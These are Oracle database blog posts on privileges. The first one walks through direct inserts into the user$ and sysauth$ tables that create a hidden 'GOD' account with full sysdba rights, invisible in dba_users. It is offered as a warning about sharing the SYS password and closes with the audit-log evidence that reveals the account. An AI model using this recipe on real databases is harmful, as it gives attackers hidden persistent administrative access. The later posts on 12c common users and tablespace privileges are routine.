Daniel Westermann's Blog

this one is a little bit hypothetical but might happen. do you know the situation when a standard software requires sysdba priviliges for installation? be very careful ginving out the sys password. once someone other than a trusted dba knows the password a sysdba can be created which you probably will never find (except you have processes in place to scan the audit logs).

oracle stores users and roles in the user$ table. a user has a type# of 1 while a role has type# of 0. one can easily check this:

SYS@dbs100> select NAME,TYPE# from user$;

NAME				    TYPE#
------------------------------ ----------
SYS					1
PUBLIC					0
CONNECT 				0
RESOURCE				0
DBA					0
SYSTEM					1
.....

what will happen if we directly insert into that table with a type# of -1?

insert into user$ (USER#,NAME,TYPE#,password,DATATS#,tempts#,ctime,resource$,defrole,astatus,lcount,spare1,spare4,DEFSCHCLASS,EXPTIME,LTIME,PTIME) 
       values (99,'GOD',1,'D9E8A39A359A48C2',4,3,sysdate-5,0,1,0,0,0,'S:E0BBBCAB53EDC7BD147FBD6EBF79E011DBDB31947A3B08B04FCB7E678DF8','DEFAULT_CONSUMER_GROUP',to_date(null),to_date(null),to_date(null));

1 row created.

commit;

Commit complete.

seems to work. this user will never be visible in dba_users or dba_roles:

SYS@dbs100> select * from dba_users where username = 'GOD';

no rows selected

SYS@dbs100> select * from dba_roles where role = 'GOD';

no rows selected

perfectly hidden. change the password:

alter user god identified by a;

User altered.

… and assign all sysdba privileges:

insert into sysauth$  (grantee#,privilege#,option$,sequence#) 
       select 99,privilege#,option$,system_grant.nextval
         from sysauth$ where grantee# = 0;

226 rows created.

update user$ set type#=-1 where user#=99;

1 row updated.

commit;

Commit complete.

test it:

SYS@dbs100> connect god/a as sysdba
Connected.

… and you are in.

the good news: if you have auditing enabled you may catch this:

grep -i god *
dbs100_ora_12133_20140515225804864916143795.aud:       values (99,'GOD',1,'D9E8A39A359A48C2',4,3,sysdate-5,0,1,0,0,0,'S:E0BBBCAB53EDC7BD147FBD6EBF79E011DBDB31947A3B08B04FCB7E678DF8','DEFAULT_CONSUMER_GROUP',to_date(null),to_date(null),to_date(null))'
dbs100_ora_12133_20140515225804864916143795.aud:ACTION :[30] 'alter user god identified by *'
dbs100_ora_12133_20140515225804864916143795.aud:ACTION :[30] 'alter user god identified by *'
dbs100_ora_12147_20140515225916485631143795.aud:ACTION :[46] 'select * from dba_users where username = 'GOD''
dbs100_ora_12147_20140515225916485631143795.aud:ACTION :[42] 'select * from dba_roles where role = 'GOD''

tested on 11.2.0.3 and 11.2.0.4 on Linux x64.

oracle 12c introduced common (valid for all containers) and local (valid for just a pdb) users. one might think that creating a common user and assigning privileges to that users results in the same set of privileges in all the pdbs. this is not the case:

SQL> show con_name

CON_NAME
------------------------------
CDB$ROOT
SQL> create user c##1 identified by "test" container=all;

User created.

SQL> grant create session to c##1;

Grant succeeded.

SQL> connect c##1/test
Connected.
SQL> show con_name

CON_NAME
------------------------------
CDB$ROOT
SQL> connect c##1/test@pdb1
ERROR:
ORA-01045: user C##1 lacks CREATE SESSION privilege; logon denied


Warning: You are no longer connected to ORACLE.

so, either you’ll have to grant the privilege in each container you want the user to be able to do a specfic task or you’ll need to grant it for all containers:

SQL> grant create session to c##1 container=all;

Grant succeeded.

SQL> connect c##1@pdb1 
Enter password: 
Connected.
SQL> 

what happens if a new pdb is created? do we need to re-grant the privilege for the new pdb?

SQL> conn / as sysdba
Connected.
SQL> CREATE PLUGGABLE DATABASE pdb2 ADMIN USER admin2 IDENTIFIED BY "test"
  STORAGE (MAXSIZE 2G MAX_SHARED_TEMP_SIZE 100M)
  DEFAULT TABLESPACE pbd1
    DATAFILE '/oradata/orcl/pdb1/pdb2_01.dbf' SIZE 250M AUTOEXTEND ON
  PATH_PREFIX = '/oradata/orcl/pdb2'
  FILE_NAME_CONVERT = ('/oradata/orcl/pdbseed/', '/oradata/orcl/pdb2');
  2    3    4    5    6  

Pluggable database created.

SQL> SQL> alter pluggable database pdb2 open;

Pluggable database altered.
SQL> connect c##1/test@pdb2
Connected.
SQL> show con_name

CON_NAME
------------------------------
PDB2
SQL> 

no. once granted on the root level the privilege is available on all the current pdbs and all pdbs that might get created in the future. what will happen if you unplug a pdb and plug it to a container which does not have the commen user? needs to be tested …

some time ago I blogged about the managed tablespace privilege and pointed out that there is either a software or documentation bug as this privilege also allows renaming tablespaces. according to oracle support this is a documentation issue and not a software bug. additionally these operations are allowed, too, if you grant the privilege:

alter tablespace nologging;
alter tablespace logging;
alter tablespace force logging;
alter tablespace no force logging;

according to the documentation granting the “manage tablespace” privilege to a user should allow:

• take tablespaces offline and online
• begin and end tablespace backups

let’ see if this is true:

SQL> create tablespace tbs1 datafile '/oradata/demo/dbf/tbs1_01.dbf' size 1m;
Tablespace created.
SQL> create user a identified by "a";
User created.
SQL> grant create session, manage tablespace to a;
Grant succeeded.
SQL> connect a/a
Connected.
SQL> alter tablespace tbs1 offline;
Tablespace altered.
SQL> alter tablespace tbs1 online;
Tablespace altered.
SQL> alter tablespace tbs1 begin backup;
Tablespace altered.
SQL> alter tablespace tbs1 end backup;
Tablespace altered.
SQL> 

but this is possible, too:

SQL> show user;
USER is "A"
SQL> alter tablespace tbs1 rename to tbs2;
Tablespace altered.
SQL> 

this is probably nothing you’d except to work …

if you want to list the privileges for your current session in oracle you can do:

select * from session_privs;
PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
...

… and the underlying query is this one:

select spm.name
from sys.v$enabledprivs ep, system_privilege_map spm
where spm.privilege = ep.priv_number